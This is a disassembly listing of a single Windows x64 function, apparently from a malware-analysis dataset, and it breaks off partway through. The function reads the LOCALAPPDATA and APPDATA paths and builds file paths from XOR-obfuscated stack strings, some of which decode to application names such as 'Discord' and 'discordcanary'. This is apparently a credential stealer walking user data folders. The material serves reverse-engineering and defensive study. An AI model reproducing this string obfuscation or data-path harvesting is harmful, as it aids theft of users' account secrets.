Function at 0x140025f20
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xdf8]
sub rsp, 0xed0
mov rax, qword [0x1400a0280]
xor rax, rsp
mov qword [rbp + 0xdc0], rax
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor edi, edi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1e8]
mov qword [rsp + 0x78], rax
mov r8b, dil
call fcn.140003550
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8b, dil
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x208]
mov qword [rsp + 0x78], rax
call fcn.140003550
xor eax, eax
mov dword [rsp + 0x68], 0x352f0246
mov byte [rsp + 0x70], al
mov cl, 0x46
mov dword [rsp + 0x6c], 0x22342925
xor byte [rsp + rax + 0x69], cl
inc rax
cmp rax, 7
jae 0x140025fd0
mov cl, byte [rsp + 0x68]
jmp 0x140025fbd
lea rax, [rsp + 0x69]
mov byte [rsp + 0x70], dil
mov r8b, dil
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x238]
call fcn.140003550
lea r8, [rbp + 0x238]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd40]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x60], 0x160c0165
mov byte [rbp - 0x52], al
mov cl, 0x65
mov dword [rbp - 0x5c], 0x1170a06
mov ebx, 0xa
mov dword [rbp - 0x58], 0x40b0406
mov word [rbp - 0x54], 0x1c17
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xd
jae 0x140026046
mov cl, byte [rbp - 0x60]
jmp 0x140026034
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x52], dil
mov r8b, dil
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x258]
call fcn.140003550
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd60]
call fcn.140012848
mov cl, 0x3a
mov dword [rbp - 0x80], 0x49535e3a
mov rax, rdi
mov dword [rbp - 0x7c], 0x5e485559
mov r13b, 0x5e
mov dword [rbp - 0x78], 0x584e4a
mov r12b, 0x59
mov r15b, 0x58
xor byte [rbp + rax - 0x7f], cl
inc rax
cmp rax, rbx
jae 0x1400260b5
mov cl, byte [rbp - 0x80]
jmp 0x1400260a4
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x75], dil
mov r8b, dil
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x278]
call fcn.140003550
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xd80]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x70], 0xb05206c
mov byte [rbp - 0x66], al
mov cl, 0x6c
mov dword [rbp - 0x6c], 0x30f1804
mov word [rbp - 0x68], 0x81e
xor byte [rbp + rax - 0x6f], cl
inc rax
cmp rax, 9
jae 0x14002611d
mov cl, byte [rbp - 0x70]
jmp 0x14002610b
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x66], dil
mov r8b, dil
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x298]
call fcn.140003550
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xda0]
call fcn.140012848
lea rcx, [rbp + 0x298]
call fcn.14001d620
lea rcx, [rbp + 0x278]
call fcn.14001d620
lea rcx, [rbp + 0x258]
call fcn.14001d620
lea rcx, [rbp + 0x238]
call fcn.14001d620
mov cl, 0x7c
mov dword [rbp - 0x60], 0x190c337c
mov rax, rdi
mov dword [rbp - 0x5c], 0x2f5c1d0e
mov dword [rbp - 0x58], 0x101e1d08
mov word [rbp - 0x54], 0x19
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xc
jae 0x1400261ba
mov cl, byte [rbp - 0x60]
jmp 0x1400261a8
lea rax, [rbp - 0x5f]
mov byte [rbp - 0x53], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x818]
call fcn.140003550
movdqa xmm0, xmmword [str._gXMZI_bGN_IZM]
mov rcx, rdi
movdqu xmmword [rbp + 0x228], xmm0
mov al, byte [rbp + 0x228]
xor byte [rbp + rcx + 0x229], al
inc rcx
cmp rcx, 0xe
jb 0x1400261ee
lea rax, [rbp + 0x229]
mov byte [rbp + 0x237], dil
mov r8b, dil
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7f8]
call fcn.140003550
cmp qword [rbp + 0x220], 7
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x298]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x298], xmm0
movdqu xmmword [rbp + 0x2a8], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x298]
call fcn.1400145b0
cmp qword [rbp + 0x2b0], 7
lea r14, [rbp + 0x298]
mov rdi, qword [rbp + 0x2a8]
movabs rsi, 0x7ffffffffffffffe
cmova r14, qword [rbp + 0x298]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
cmp rdi, rsi
ja 0x1400280f3
movabs rax, 0x7fffffffffffffff
cmp rdi, 7
ja 0x1400262e2
mov qword [rbp + 0xb58], 7
lea rax, [rbp + 0xb40]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026347
mov rbx, rdi
or rbx, 7
cmp rbx, rsi
jbe 0x1400262f7
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x14002631c
mov ecx, 0xa
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280ed
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026323
call fcn.140002644
jmp 0x140026331
test rcx, rcx
je 0x14002632f
call fcn.14007a978
jmp 0x140026331
xor eax, eax
mov qword [rbp + 0xb40], rax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0xb58], rbx
mov rdx, r14
mov qword [rbp + 0xb50], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x818]
lea rcx, [rbp + 0xb40]
call fcn.1400145b0
movdqa xmm0, xmmword [0x1400825a0]
xor eax, eax
movdqu xmmword [rbp + 0x1d0], xmm0
mov byte [rbp + 0x1e0], al
xor ecx, ecx
mov al, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d1], al
inc rcx
cmp rcx, 0xf
jb 0x140026386
lea rax, [rbp + 0x1d1]
mov byte [rbp + 0x1e0], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7d8]
call fcn.140003550
movdqa xmm0, xmmword [0x1400824c0]
xor ecx, ecx
movdqu xmmword [rbp + 0x1c0], xmm0
mov al, byte [rbp + 0x1c0]
xor byte [rbp + rcx + 0x1c1], al
inc rcx
cmp rcx, 0xe
jb 0x1400263d5
lea rax, [rbp + 0x1c1]
mov byte [rbp + 0x1cf], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x7b8]
call fcn.140003550
cmp qword [rbp + 0x220], 7
lea rdx, [rbp + 0x208]
mov r8, qword [rbp + 0x218]
lea rcx, [rbp + 0x278]
cmova rdx, qword [rbp + 0x208]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x278], xmm0
movdqu xmmword [rbp + 0x288], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x278]
call fcn.1400145b0
cmp qword [rbp + 0x290], 7
lea r14, [rbp + 0x278]
mov rdi, qword [rbp + 0x288]
xorps xmm0, xmm0
cmova r14, qword [rbp + 0x278]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb70], xmm1
movups xmmword [rbp + 0xb60], xmm0
cmp rdi, rsi
ja 0x1400280f3
cmp rdi, 7
ja 0x1400264c0
mov qword [rbp + 0xb78], 7
lea rax, [rbp + 0xb60]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x140026539
mov rbx, rdi
or rbx, 7
cmp rbx, rsi
jbe 0x1400264df
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x14002650e
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280ed
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026515
call fcn.140002644
jmp 0x140026523
test rcx, rcx
je 0x140026521
call fcn.14007a978
jmp 0x140026523
xor eax, eax
mov qword [rbp + 0xb60], rax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0xb78], rbx
mov rdx, r14
mov qword [rbp + 0xb70], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x7d8]
lea rcx, [rbp + 0xb60]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x88], 0x6f795f0a
mov byte [rbp + 0x92], al
mov ecx, 0xa
mov dword [rbp + 0x8c], 0x6b4e2a78
mov word [rbp + 0x90], 0x6b7e
xor byte [rbp + rax + 0x89], cl
inc rax
cmp rax, 9
jae 0x1400265a0
mov cl, byte [rbp + 0x88]
jmp 0x140026588
lea rax, [rbp + 0x89]
mov byte [rbp + 0x92], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x798]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x80], 0x32361a5b
mov byte [rbp + 0x86], al
mov cl, 0x5b
mov word [rbp + 0x84], 0x343c
xor byte [rbp + rax + 0x81], cl
inc rax
cmp rax, 5
jae 0x1400265fc
mov cl, byte [rbp + 0x80]
jmp 0x1400265e4
lea rax, [rbp + 0x81]
mov byte [rbp + 0x86], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x778]
call fcn.140003550
cmp qword [rbp + 0x200], 7
lea rdx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x258]
cmova rdx, qword [rbp + 0x1e8]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x258], xmm0
movdqu xmmword [rbp + 0x268], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x778]
lea rcx, [rbp + 0x258]
call fcn.1400145b0
cmp qword [rbp + 0x270], 7
lea r14, [rbp + 0x258]
mov rdi, qword [rbp + 0x268]
xorps xmm0, xmm0
cmova r14, qword [rbp + 0x258]
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb90], xmm1
movups xmmword [rbp + 0xb80], xmm0
cmp rdi, rsi
ja 0x1400280f3
cmp rdi, 7
ja 0x1400266d1
mov qword [rbp + 0xb98], 7
lea rax, [rbp + 0xb80]
mov r8d, reloc.WS2_32.dll_recv
jmp 0x14002674a
mov rbx, rdi
or rbx, 7
cmp rbx, rsi
jbe 0x1400266f0
movabs rax, 0x7fffffffffffffff
mov rbx, rsi
lea rcx, [rax + rax]
jmp 0x14002671f
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400280ed
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026726
call fcn.140002644
jmp 0x140026734
test rcx, rcx
je 0x140026732
call fcn.14007a978
jmp 0x140026734
xor eax, eax
mov qword [rbp + 0xb80], rax
lea r8, [rdi*2 + 2]
mov qword [rbp + 0xb98], rbx
mov rdx, r14
mov qword [rbp + 0xb90], rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x798]
lea rcx, [rbp + 0xb80]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x98], 0x392f095c
mov byte [rbp + 0xa2], al
mov cl, 0x5c
mov dword [rbp + 0x9c], 0x3d187c2e
mov word [rbp + 0xa0], 0x3d28
xor byte [rbp + rax + 0x99], cl
inc rax
cmp rax, 9
jae 0x1400267ae
mov cl, byte [rbp + 0x98]
jmp 0x140026796
lea rax, [rbp + 0x99]
mov byte [rbp + 0xa2], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x758]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x68], 0x2a370c58
mov byte [rbp + 0x6e], al
mov word [rbp + 0x6c], 0x303b
xor byte [rbp + rax + 0x69], r15b
mov r15d, 1
add rax, r15
cmp rax, 5
jae 0x140026801
mov r15b, byte [rbp + 0x68]
jmp 0x1400267e7
lea rax, [rbp + 0x69]
mov byte [rbp + 0x6e], 0
xor r8d, r8d
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x738]
call fcn.140003550
cmp qword [rbp + 0x200], 7
lea rdx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1f8]
lea rcx, [rbp + 0x238]
cmova rdx, qword [rbp + 0x1e8]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x238], xmm0
movdqu xmmword [rbp + 0x248], xmm1
call fcn.140002f14
lea rdx, [rbp + 0x738]
lea rcx, [rbp + 0x238]
call fcn.1400145b0
mov rbx, qword [rbp + 0x248]
lea rdi, [rbp + 0x238]
mov r14d, 7
xorps xmm0, xmm0
cmp qword [rbp + 0x250], r14
xorps xmm1, xmm1
movups xmmword [rbp + 0xba0], xmm0
cmova rdi, qword [rbp + 0x238]
movdqa xmmword [rbp + 0xbb0], xmm1
cmp rbx, rsi
ja 0x1400280f3
cmp rbx, r14
ja 0x1400268ce
mov qword [rbp + 0xbb8], r14
lea rax, [rbp + 0xba0]
lea r8d, [r14 + 9]
jmp 0x140026946
mov rax, rbx
or rax, r14
cmp rax, rsi
jbe 0x1400268e9
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14002691b
mov ecx, 0xa
mov rsi, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, rax
ja 0x1400280ed
add rcx, rcx
cmp rcx, 0x1000
jb 0x140026922
call fcn.140002644
jmp 0x140026930
test rcx, rcx
je 0x14002692e
call fcn.14007a978
jmp 0x140026930
xor eax, eax
mov qword [rbp + 0xba0], rax
lea r8, [rbx*2 + 2]
mov qword [rbp + 0xbb8], rsi
mov rdx, rdi
mov qword [rbp + 0xbb0], rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0xba0]
call fcn.1400145b0
xor eax, eax
mov dword [rbp + 0x148], 0x3c2a0c59
mov byte [rbp + 0x152], al
mov dword [rbp + 0x14c], 0x381d792b
mov word [rbp + 0x150], 0x382d
xor byte [rbp + rax + 0x149], r12b
add rax, r15
cmp rax, 9
jae 0x1400269aa
mov r12b, byte [rbp + 0x148]
jmp 0x140026990
xor r12d, r12d
lea rax, [rbp + 0x149]
mov r8b, r12b
mov byte [rbp + 0x152], r12b
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], rax
lea rcx, [rbp + 0x718]
call fcn.140003550
mov cl, reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x40], 0x787a5e15
mov eax, r12d
mov dword [rbp - 0x3c], 0x746170
mov dil, 0x7a
mov sil, reloc.WS2_32.dll_WSASetLastError
xor byte [rbp + rax - 0x3f], cl
add rax, r15
cmp rax, 6
jae 0x1400269ff
mov cl, byte [rbp - 0x40]
jmp 0x1400269ed
lea rax, [rbp - 0x3f]
mov byte [rbp - 0x39], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6f8]
call fcn.140003550
lea r8, [rbp + 0x6f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xb18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x718]
lea rcx, [rbp + 0xbc0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x138], 0xa1c3a6f
mov byte [rbp + 0x142], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
mov dword [rbp + 0x13c], 0xe2b4f1d
mov word [rbp + 0x140], 0xe1b
xor byte [rbp + rax + 0x139], cl
add rax, r15
cmp rax, 9
jae 0x140026a8f
mov cl, byte [rbp + 0x138]
jmp 0x140026a77
lea rax, [rbp + 0x139]
mov byte [rbp + 0x142], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x18], 0x43536e21
mov byte [rbp + 0x20], al
mov cl, 0x21
mov dword [rbp + 0x1c], 0x4c545548
xor byte [rbp + rax + 0x19], cl
add rax, r15
cmp rax, r14
jae 0x140026adc
mov cl, byte [rbp + 0x18]
jmp 0x140026acb
lea rax, [rbp + 0x19]
mov byte [rbp + 0x20], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x6b8]
call fcn.140003550
lea r8, [rbp + 0x6b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xaf8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x6d8]
lea rcx, [rbp + 0xbe0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x128], 0x3f290f5a
mov byte [rbp + 0x132], al
mov cl, 0x5a
mov dword [rbp + 0x12c], 0x3b1e7a28
mov r14b, 0x1e
mov word [rbp + 0x130], 0x3b2e
xor byte [rbp + rax + 0x129], cl
add rax, r15
cmp rax, 9
jae 0x140026b6f
mov cl, byte [rbp + 0x128]
jmp 0x140026b57
lea rax, [rbp + 0x129]
mov byte [rbp + 0x132], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x698]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x178], 0x19123477
mov byte [rbp + 0x184], al
mov cl, 0x77
mov dword [rbp + 0x17c], 0x18053503
mov dword [rbp + 0x180], 0x5120400
xor byte [rbp + rax + 0x179], cl
add rax, r15
cmp rax, 0xb
jae 0x140026bd6
mov cl, byte [rbp + 0x178]
jmp 0x140026bbe
lea rax, [rbp + 0x179]
mov byte [rbp + 0x184], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x678]
call fcn.140003550
lea r8, [rbp + 0x678]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xad8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x698]
lea rcx, [rbp + 0xc00]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x118], 0x41577124
mov byte [rbp + 0x122], al
mov cl, 0x24
mov dword [rbp + 0x11c], 0x45600456
mov word [rbp + 0x120], 0x4550
xor byte [rbp + rax + 0x119], cl
add rax, r15
cmp rax, 9
jae 0x140026c6c
mov cl, byte [rbp + 0x118]
jmp 0x140026c54
lea rax, [rbp + 0x119]
mov byte [rbp + 0x122], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x658]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x70], 0x60472314
mov byte [rbp + 0x76], al
mov cl, setsockopt
mov word [rbp + 0x74], 0x6675
xor byte [rbp + rax + 0x71], cl
add rax, r15
cmp rax, 5
jae 0x140026cb9
mov cl, byte [rbp + 0x70]
jmp 0x140026ca7
lea rax, [rbp + 0x71]
mov byte [rbp + 0x76], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x638]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x78], 0x280f6b5c
mov byte [rbp + 0x7e], al
mov cl, 0x5c
mov word [rbp + 0x7c], 0x2e3d
xor byte [rbp + rax + 0x79], cl
add rax, r15
cmp rax, 5
jae 0x140026d00
mov cl, byte [rbp + 0x78]
jmp 0x140026cee
lea rax, [rbp + 0x79]
mov byte [rbp + 0x7e], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x618]
call fcn.140003550
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xab8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x638]
lea rcx, [rbp + 0xa98]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x658]
lea rcx, [rbp + 0xc20]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x158], 0x32240257
mov byte [rbp + 0x162], al
mov cl, 0x57
mov dword [rbp + 0x15c], 0x36137725
mov word [rbp + 0x160], 0x3623
xor byte [rbp + rax + 0x159], cl
add rax, r15
cmp rax, 9
jae 0x140026da6
mov cl, byte [rbp + 0x158]
jmp 0x140026d8e
lea rax, [rbp + 0x159]
mov byte [rbp + 0x162], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5f8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x28], 0x66634013
mov byte [rbp + 0x30], al
mov cl, reloc.WS2_32.dll_send
mov dword [rbp + 0x2c], 0x787a7d67
xor byte [rbp + rax + 0x29], cl
add rax, r15
cmp rax, 7
jae 0x140026df4
mov cl, byte [rbp + 0x28]
jmp 0x140026de2
lea rax, [rbp + 0x29]
mov byte [rbp + 0x30], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x38], 0x67624112
mov byte [rbp + 0x40], al
mov cl, reloc.WS2_32.dll_select
mov dword [rbp + 0x3c], 0x797b7c66
mov bl, 0x7b
xor byte [rbp + rax + 0x39], cl
add rax, r15
cmp rax, 7
jae 0x140026e3e
mov cl, byte [rbp + 0x38]
jmp 0x140026e2c
lea rax, [rbp + 0x39]
mov byte [rbp + 0x40], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x5b8]
call fcn.140003550
lea r8, [rbp + 0x5b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa78]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5d8]
lea rcx, [rbp + 0xa58]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x5f8]
lea rcx, [rbp + 0xc40]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0x48], 0x24270642
mov byte [rbp + 0x50], al
mov cl, 0x42
mov dword [rbp + 0x4c], 0x362e3723
xor byte [rbp + rax + 0x49], cl
add rax, r15
cmp rax, 7
jae 0x140026ecc
mov cl, byte [rbp + 0x48]
jmp 0x140026eba
lea rax, [rbp + 0x49]
mov byte [rbp + 0x50], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x598]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xa8], 0x21371144
mov byte [rbp + 0xb2], al
mov cl, 0x44
mov dword [rbp + 0xac], 0x25006436
mov word [rbp + 0xb0], 0x2530
xor byte [rbp + rax + 0xa9], cl
add rax, r15
cmp rax, 9
jae 0x140026f2c
mov cl, byte [rbp + 0xa8]
jmp 0x140026f14
lea rax, [rbp + 0xa9]
mov byte [rbp + 0xb2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x578]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x58], 0x1c033c6a
mov byte [rbp + 0x60], al
mov cl, 0x6a
mov dword [rbp + 0x5c], 0x30e060b
xor byte [rbp + rax + 0x59], cl
add rax, r15
cmp rax, 7
jae 0x140026f7a
mov cl, byte [rbp + 0x58]
jmp 0x140026f68
lea rax, [rbp + 0x59]
mov byte [rbp + 0x60], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x558]
call fcn.140003550
lea r8, [rbp + 0x558]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0xa38]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x578]
lea rcx, [rbp + 0xa18]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x598]
lea rcx, [rbp + 0xc60]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0xb8], 0x36200653
mov byte [rbp + 0xc2], al
mov cl, 0x53
mov dword [rbp + 0xbc], 0x32177321
mov word [rbp + 0xc0], 0x3227
xor byte [rbp + rax + 0xb9], cl
add rax, r15
cmp rax, 9
jae 0x140027020
mov cl, byte [rbp + 0xb8]
jmp 0x140027008
lea rax, [rbp + 0xb9]
mov byte [rbp + 0xc2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x538]
call fcn.140003550
mov rax, r12
mov dword [rbp + 0x168], 0x913387b
mov edx, 0xa
mov dword [rbp + 0x16c], 0x5b1e1614
mov dword [rbp + 0x170], 0x280328
xor byte [rbp + rax + 0x169], bl
add rax, r15
cmp rax, rdx
jae 0x140027084
mov bl, byte [rbp + 0x168]
jmp 0x14002706d
lea rax, [rbp + 0x169]
mov byte [rbp + 0x173], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x518]
call fcn.140003550
mov cl, 0x69
mov dword [rbp - 0x38], 0x6062e69
mov rax, r12
mov dword [rbp - 0x34], 0xc050e
xor byte [rbp + rax - 0x37], cl
add rax, r15
cmp rax, 6
jae 0x1400270d0
mov cl, byte [rbp - 0x38]
jmp 0x1400270be
lea rax, [rbp - 0x37]
mov byte [rbp - 0x31], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4f8]
call fcn.140003550
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x518]
lea rcx, [rbp + 0x9d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x538]
lea rcx, [rbp + 0xc80]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x18], 0x10133276
mov byte [rbp - 0x10], al
mov cl, 0x76
mov dword [rbp - 0x14], 0x21a0317
xor byte [rbp + rax - 0x17], cl
add rax, r15
cmp rax, 7
jae 0x14002715e
mov cl, byte [rbp - 0x18]
jmp 0x14002714c
lea rax, [rbp - 0x17]
mov byte [rbp - 0x10], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xc8], 0x1f092f7a
mov byte [rbp + 0xd2], al
mov dword [rbp + 0xcc], 0x1b3e5a08
mov word [rbp + 0xd0], 0x1b0e
xor byte [rbp + rax + 0xc9], dil
add rax, r15
cmp rax, 9
jae 0x1400271be
mov dil, byte [rbp + 0xc8]
jmp 0x1400271a4
lea rax, [rbp + 0xc9]
mov byte [rbp + 0xd2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x4b8]
call fcn.140003550
mov cl, reloc.WS2_32.dll_WSACleanup
mov dword [rbp - 0x30], 0x61c3774
mov rax, r12
mov dword [rbp - 0x2c], 0x11191b
xor byte [rbp + rax - 0x2f], cl
add rax, r15
cmp rax, 6
jae 0x14002720a
mov cl, byte [rbp - 0x30]
jmp 0x1400271f8
lea rax, [rbp - 0x2f]
mov byte [rbp - 0x29], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x498]
call fcn.140003550
mov cl, 0x2c
mov dword [rbp - 0x28], 0x43436b2c
mov rax, r12
mov dword [rbp - 0x24], 0x49404b
xor byte [rbp + rax - 0x27], cl
add rax, r15
cmp rax, 6
jae 0x140027250
mov cl, byte [rbp - 0x28]
jmp 0x14002723e
lea rax, [rbp - 0x27]
mov byte [rbp - 0x21], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x478]
call fcn.140003550
lea r8, [rbp + 0x478]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x9b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x498]
lea rcx, [rbp + 0x998]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4b8]
lea rcx, [rbp + 0x978]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x4d8]
lea rcx, [rbp + 0xca0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 0xd8], 0x17012772
mov byte [rbp + 0xe2], al
mov cl, WSAStartup
mov dword [rbp + 0xdc], 0x13365200
